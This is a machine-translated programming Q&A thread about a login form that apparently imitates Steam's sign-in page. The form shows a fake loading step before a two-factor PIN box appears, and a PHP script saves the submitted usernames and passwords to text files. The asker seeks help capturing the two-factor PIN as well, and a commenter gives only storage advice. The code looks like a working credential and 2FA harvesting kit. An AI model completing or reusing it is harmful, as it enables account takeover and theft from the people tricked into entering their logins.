0
目前我有兩種形式,一種用於用戶名和密碼,一種用於特殊認證引腳。如何一次寫入多個表單到一個文件
用戶名和密碼
<form action="#" method="POST" id="hello" onsubmit="return false;">
<div id="loadingGif" style="display:none"><img src="#"></div>
<input class="btn_green_white_innerfade btn_medium" type="submit"
name="submit" id="userLogin" value="Sign in" width="104" height="25"
border="0" tabindex="5" onclick="showDiv()">
<div class="mainLoginLeftPanel_signin">
<label for="userAccountName">username</label><br>
<input class="textField" type="text" name="username"
id="userAccountName" maxlength="64" tabindex="1" value=""><br> <br>
<label for="userPassword">Password</label><br>
<input class="textField" type="password" name="password"
id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
<div id="passwordclearlabel" style="text-align: left;
display: none;">It seems that you may be having trouble entering your
password. We will now show your password in plain text (login is still
secure).</div>
</div>
通過添加/loginaction.php進入行動=「」,我可以用PHP寫的用戶名和密碼輸入到一個文本文件,但現在我想在特殊的雙因子引腳上做同樣的事情,將文件添加到action =「」中,在div顯示之前刷新頁面,允許用戶輸入pin,我需要幫助找到一種方法將所有三個輸入寫入這個文本文件,任何幫助將不勝感激,對此非常新
函數顯示代碼輸入的div在這裏
function showDiv() {
document.getElementById('userLogin').style.display = "none";
document.getElementById('loadingGif').style.display = "block";
setTimeout(function() {
document.getElementById('loadingGif').style.display = "none";
document.getElementById('showme').style.display = "block";
},2000);
}
寫入該文件的PHP代碼
<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("File written");
$txt = $_POST['username'] . ':' . $_POST['password'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:(";
?>
這在數據庫中會更容易並且更安全。也不要存儲純文本密碼。 – chris85
它目前僅供個人使用 –
那麼現在呢'我認爲你打算在某個地方在其他地方使用它。不妨先學習正確的方法。 – chris85